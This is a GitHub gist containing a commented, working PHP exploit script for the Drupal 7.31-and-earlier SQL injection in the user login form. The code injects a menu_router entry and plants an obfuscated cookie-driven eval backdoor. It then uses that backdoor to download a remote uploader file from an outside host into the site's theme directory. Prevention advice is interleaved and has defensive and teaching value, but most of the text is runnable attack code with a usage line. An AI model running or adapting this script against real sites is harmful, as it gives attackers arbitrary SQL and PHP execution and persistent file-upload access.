Skip to content

Instantly share code, notes, and snippets.

@MKorostoff
Last active November 10, 2022 09:45
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save MKorostoff/6723ccb8d846e36d9bb9 to your computer and use it in GitHub Desktop.
Save MKorostoff/6723ccb8d846e36d9bb9 to your computer and use it in GitHub Desktop.
<?php
/**
* @author Matt Korostoff <mkorostoff@gmail.com>
*
* @copyright Licensed under the GNU General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option)
* any later version. http://www.gnu.org/licenses/
*
* @usage php path/to/this/file.php 'http://example.com'
*/
/*******************************************************************************
* Step 1 - SQL Injection *
*******************************************************************************
*
* We want to install a backdoor on the system that will allow us to run any PHP
* code. THe basic procedure here is as follows:
*
* 1. Add an entry into the menu_router table. The menu_router table is Drupal's
* store of internal url paths. For instance, if you want to create a URL to
* the effect of "http://example.com/foo" menu_router would contain a record
* with the path column set to "foo"
*
* 2. Set the access_callback in your new menu_router entry to "file_put_contents".
* Now, the next time someone navigates to "http://example.com/foo" Drupal
* will call "file_put_contents" without doing any prior access checking.
*
* 3. Set the access_arguments in your new menu_router entry to the following
* array (serialized of course):
*
* array(
* "path/where/you/want/to/upload/your/exploit/file.php",
* "full contents of your attack file"
* );
*
* 4. Navigate to "http://example.com/foo". When you do this, Drupal will write
* your attack file to your specificied directory.
*
*
* HOW TO PREVENT THIS ON YOUR SITE
*
* 1. Upgrade to Drupal 7.32 or greater. If you are reading this and your site
* is running 7.31 or less, it has already been hacked for months.
*
* 2. Drop all POST traffic in Varnish, and only allow access to Apache from a
* specified list of IP addresses. Note that this is only an option if you
* have a small, known group of users who must authenticate with Drupal, e.g.
* a news website where all traffic is anaonymous except for a handful of authors
*
* @see https://blog.nictrix.net/2013/11/20/apache-http-whitelist-multiple-ip-addresses/
* @see https://www.varnish-software.com/static/book/VCL_Basics.html#default-vcl-recv
*/
$url = $argv[1];
/**
* This is an obfuscated version of the backdoor file we're going to write to disk.
* Once this file is placed on the server, an attacker who knows how to use it
* can execute any PHP on your server. For a deobfuscated version @see deobfuscated.php
*/
$malicious_file_to_upload = '<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();';
//We will save this file inside the poll module. Just a random selection.
$attack_payload = array('modules/poll/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
/**
* I'm not sure why exactly, but this vulnerability doesn't allow you to inject
* curly brackets as plain text. Instead, we'll use the SQL CHAR() keyword.
* What we're doing on this line is converting a serialized array of the format:
*
* a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
*
* Into a a value that can be used in an SQL statement, e.g.:
*
* CONCAT('a:2:', CHAR(123), 'i:0;s:3:"foo";i:1;s:3:"bar";', CHAR(125))
*
* A little circuitus, but it's necessary for this exploit
*/
$attack_payload = str_replace('{', '\' , CHAR(123), \'', $attack_payload);
$attack_payload = str_replace('}', '\' , CHAR(125), \'', $attack_payload);
/**
* We also need to escape square brackets. Not because they're a problem for
* SQL, but because the square bracket has a special meaning when used in HTTP
* POST data, namely, that they're used to declare an array.
*/
$attack_payload = str_replace('[', '\' , CHAR(91), \'', $attack_payload);
$attack_payload = str_replace(']', '\' , CHAR(93), \'', $attack_payload);
//Build the malicious SQL query.
$query_to_run = "insert into menu_router values ('backdoor','','','file_put_contents',CONCAT('" . $attack_payload . "'),'','','',0,0,0,'','','','','','','',0,'hacked','',0,'')";
$query_to_run = urlencode($query_to_run);
/**
* Send the malicious SQL query to the user login form.
*
* This works because, until Drupal 7.32, array keys from the user login form
* were trusted implicitly. So a submission to the user login form would
* normally look like:
*
* name[0]=my_drupal_user_name&password[0]=my_drupal_password
* ^
* |
* |
* |
* This "0" is the problem. Drupal is just going to pass this value to the
* database unsanitized. So if we make a malicious program that sends the
* following request:
*
* name[); DROP TABLE students;]=my_drupal_user_name&password[0]=my_drupal_password
*
* Boom, we've just injected some sql. And deleted this years student records.
*
*/
$post_data = "name[0%20;" . $query_to_run . ";;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
/*******************************************************************************
* SQL injection complete *
*******************************************************************************/
/*******************************************************************************
* Step 2 - Create a backdoor to run any PHP *
*******************************************************************************
*
* Navigate to your new attack page. This will take the text we selected above
* in $malicious_file_to_upload and write in to http://example.com/modules/poll/backdoor.php
* backdoor.php is our backdoor that will allow us to run any PHP we want and the
* exploited machine.
*
* @see deobfuscated.php
*
* HOW TO PREVENT THIS ON YOUR SITE
*
* 1. Make sure your Drupal root is unwrittable to Apache. You should have been
* doing this already, but if you're not, this is the time to start.
* @see https://www.drupal.org/node/244924
*
* 2. Upgrade to php 5.5. Our malicious attack file relies totally on a
* deprecated feature of preg_replace which allows you to eval any code
* during a find/replace opperation.
* @see http://php.net/manual/en/function.preg-replace.php#refsect1-function.preg-replace-changelog
*
* 3. Host with a professional Drupal hosting company, such as Acquia. Literally
* every stage of this attack would have failed against a site hosted with
* Acquia.
*/
file_get_contents($url . '/backdoor');
/*******************************************************************************
* Step 3 - Create a backdoor to upload any file *
*******************************************************************************
*
* With our new found power to run and PHP and any SQL on the exploited server,
* we're going to do exactly one thing, and that is download a secondary exploit
* file to some other location on the file system. We're going to choose the
* bartik theme as the upload location because, hey, why not. uploader.php is a
* file I found on my server that was put there by a hacker. As the name implies,
* it can be used to upload any file to the director where it's located.
*
* HOW TO PREVENT THIS ON YOUR SITE
*
* Make sure your Drupal root is unwrittable to Apache (see #1 and #3 from Step
* 2 above)
*/
$c = curl_init($url . '/modules/poll/backdoor.php');
$code = base64_encode('file_put_contents(realpath("../..") . "/themes/bartik/uploader.php", file_get_contents("http://mattkorostoff.com/uploader.txt"));');
curl_setopt($c, CURLOPT_COOKIE, 'Kcqf3=base64_decode;Kcqf2=cHJlZ19yZXBsYWNl;Kcqf1=' . $code . ';');
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($c);
/**
* Hacking complete. The attacker can now:
* - Run any SQL on your server.
* - Run any PHP on your server.
* - Upload any file to your server.
*
* Once this hack is executed, you really have little choice but to scrap the
* whole server and reinstall from scratch.
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment